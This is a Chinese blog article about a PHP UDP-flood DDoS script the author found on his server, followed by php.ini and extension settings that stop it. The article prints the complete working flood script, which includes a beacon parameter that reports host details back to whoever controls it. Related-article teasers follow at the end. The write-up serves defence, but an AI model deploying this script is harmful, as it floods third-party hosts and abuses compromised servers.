时间:2021-05-26
本文实例讲述了php的ddos攻击解决方法。分享给大家供大家参考。具体分析如下:
今天自己的一台机器突然向外部发送大量数据包,可每秒到1G以上,虽然我用策略把UDP禁止包是发不出去但是很占cup啊,所以想到最后还是想办法解决了.
先看源码,代码如下:
复制代码 代码如下:<?php
set_time_limit(999999);
$host = $_GET['host'];
$port = $_GET['port'];
$exec_time = $_GET['time'];
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
if (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
exit;
}
echo "Parameters can not be empty!";
exit;
}
for($i=0;$i<$Sendlen;$i++){
$out .= "A";
}
$max_time = time()+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
关键代码在于如下:
复制代码 代码如下:$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
方法很简单,向目标主机发送UDP包,在加上定义无限死循环,就会形成较大的压力.
这个压力是对于执行这个脚本的服务器来说的,因为它首先对自身的网宽、CPU等资源造成大量占用,如果想用这个脚本对目标站点形成压力,需要在多个服务器上执行该脚本,DDOS嘛,既然是用fsockopen请求外部,那就不让他请求.
php.ini里设置,代码如下:
复制代码 代码如下:allow_url_fopen = Off
如果这样他还是能发包,代码如下:
extension=php_sockets.dll
改成
;extension=php_sockets.dll
重启APACHE、IIS、NGINX,这样就可以防止PHP DDOS发包了.
另外有网友说,让脚本不允许设置为不超时很简单:
1. 把set_time_limit函数禁用
2. 启用PHP的安全模式(safe_mode=on).
禁用socket函数可以把把socket模块直接全部禁用也可以禁用fsockopen函数,建议,由于socket常用于发送邮件找回密码,因此建议开启直接开启安全模式,但是这样的话,脚本每30秒超时一次,估计没有哪个“黑客”寂寞到每30秒去点一下开始DDOS.
经验:这种问题一般是网站安全引起的,我们要注意网站的安全及服务器的安全,这样就不容易被入侵了,如果会用macofee的朋友,对网站进行限制一下就会更好一些.
希望本文所述对大家的php程序设计有所帮助。
声明:本页内容来源网络,仅供用户参考;我单位不保证亦不表示资料全面及准确无误,也不保证亦不表示这些资料为最新信息,如因任何原因,本网内容或者用户因倚赖本网内容造成任何损失或损害,我单位将不会负任何法律责任。如涉及版权问题,请提交至online#300.cn邮箱联系删除。
ddos攻击是常见的网络攻击之一,ddos攻击方式多样又复杂,能防御ddos攻击,但不能彻底的根除。如果网站服务器扛不住ddos攻击,服务器将会瘫痪,访客打不开
网络攻击中常见的是:DDoS攻击、CC攻击,其中危害大且难防范的是DDoS攻击,而CC攻击是DDOS的一种,也是近年来较常见的一种网站攻击方式。其攻击原理是通过
小皮面板怎么防cc攻击?小皮面板防cc攻击的方法:CC攻击是DDoS攻击的一种类型,攻击者借助代理服务器生成指向受害主机的合法请求,实现DDOS和伪装,向受害服
网站被黑客劫持的解决方法当我们做好网站后,在运营网站的过程中一定会遇到各种各样影响网站安全的问题,比如说比较常见的有DDOS攻击、域名劫持、木马控制主机、网页篡
近年来,网络攻击事件越来越频繁,最常见的就是CC攻击和DDOS攻击,主要的区别就是针对的对象不同,DDOS主要针对IP攻击,而CC攻击主要是用来攻击网页的。对于